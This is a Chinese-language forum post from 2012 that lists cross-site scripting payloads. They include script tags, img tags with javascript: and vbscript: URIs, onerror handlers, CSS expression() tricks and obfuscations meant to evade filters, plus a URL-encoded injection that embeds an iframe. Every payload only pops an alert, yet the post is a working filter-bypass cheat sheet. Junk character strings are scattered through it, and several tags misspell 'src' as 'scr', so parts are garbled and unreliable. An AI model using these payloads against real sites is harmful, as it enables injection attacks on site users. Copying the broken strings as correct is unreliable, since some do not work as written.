<script>alert("跨站")</script> (最常用）
$ G$ s2 [: U* y0 e+ e' z2 D" K v<img scr=javascript:alert("跨站")></img># X: P. u% n$ ~: e: n$ ]0 ^8 }2 v
<img scr="javascript: alert(/跨站/)></img>
% q# D; ?0 V$ c2 A: ^7 W8 V& g<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）$ e1 T4 B" ~2 j
<img scr="#" onerror=alert(/跨站/)></img>. G: I. `' Q' x1 m# J
<img scr="#" style="xss:expression(alert(/xss/));"></img>
/ w8 X* s0 k8 G, g<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
" ?; V. P4 H. t* c<img src=vbscript:msgbox ("xss")></img>9 @2 m0 t( O) x6 J1 J" E
<style> input {left:expression (alert('xss'))}</style>4 d. _1 f0 _& t4 S; x3 t
<div style={left:expression (alert('xss'))}></div>
. M+ `9 p1 ?+ O4 V% M3 t2 {<div style={left:exp/* */ression (alert('xss'))}></div>( M5 t1 [7 G+ M: X! n
<div style={left:\0065\0078ression (alert('xss'))}></div>2 } `/ F+ T+ @5 D6 U
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
5 F) p' G$ i0 X5 `' tunicode <div style="{left:expRessioN (alert('xss'))}">2 i: v6 w$ x% X4 w7 j9 t4 h' J0 a) `
; H% g0 V: R+ }1 ?$ _* Y0 G5 O
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
% I( p% n+ E0 p; p7 }0 l |
发表于 2012-9-15 14:09:13
收藏
支持
反对